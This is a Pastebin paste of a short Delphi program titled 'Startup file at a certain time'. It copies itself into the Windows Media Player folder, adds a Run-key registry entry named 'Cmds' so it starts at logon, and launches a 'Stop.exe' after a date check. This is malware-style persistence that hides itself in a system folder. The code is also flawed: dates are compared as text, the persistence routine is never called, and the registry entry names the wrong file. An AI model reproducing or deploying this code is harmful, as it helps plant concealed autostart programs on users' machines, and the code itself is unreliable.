Advertisement
appo

Startup file at a certain time

Dec 27th, 2013
457
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 1.36 KB | None | 0 0
  1. unit Unit1;
  2.  
  3. interface
  4.  
  5. uses
  6.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  7.   Dialogs, StdCtrls, registry, ExtCtrls;
  8.  
  9. type
  10.   TForm1 = class(TForm)
  11.     Timer1: TTimer;
  12.     procedure FormCreate(Sender: TObject);
  13.     procedure Timer1Timer(Sender: TObject);
  14.   private
  15.     { Private declarations }
  16.   public
  17.     { Public declarations }
  18.     nowP: TTime;
  19.     procedure SHWait;
  20.   end;
  21.  
  22. var
  23.   Form1: TForm1;
  24.  
  25. implementation
  26. uses DateUtils, Math, ShellAPI;
  27.  
  28. {$R *.dfm}
  29.  
  30. //Copy + autorun
  31. procedure TForm1.SHWait;
  32. var
  33. reg: tregistry;
  34. begin
  35. CopyFile(PChar(ParamStr(0)), PChar('C:\Program Files\Windows Media Player\' + ExtractFileName(ParamStr(0))), True);
  36. Reg:=TRegistry.Create;
  37. Reg.RootKey:=HKEY_CURRENT_USER;
  38. Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
  39. Reg.WriteString('Cmds','C:\Program Files\Windows Media Player\Project1.exe');
  40. Reg.CloseKey;
  41. end;
  42.  
  43. // Start program
  44. procedure TForm1.FormCreate(Sender: TObject);
  45. Begin
  46. If DateToStr(Now) > '02.07.2013' Then
  47. Begin
  48. ShellExecute(Handle,'open', 'C:\Program Files\Windows Media Player\Stop.exe', nil, nil, SW_SHOWNORMAL);
  49. Form1.Close;
  50. Application.Terminate;
  51. End;
  52. End;
  53.  
  54. procedure TForm1.Timer1Timer(Sender: TObject);
  55. Begin
  56. If DateToStr(Now) > '10.01.2013' Then
  57. Begin
  58. Form1.Close;
  59. Application.Terminate;
  60. end;
  61. end;
  62. end.
  63.  
  64. // Coded by Appo //
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement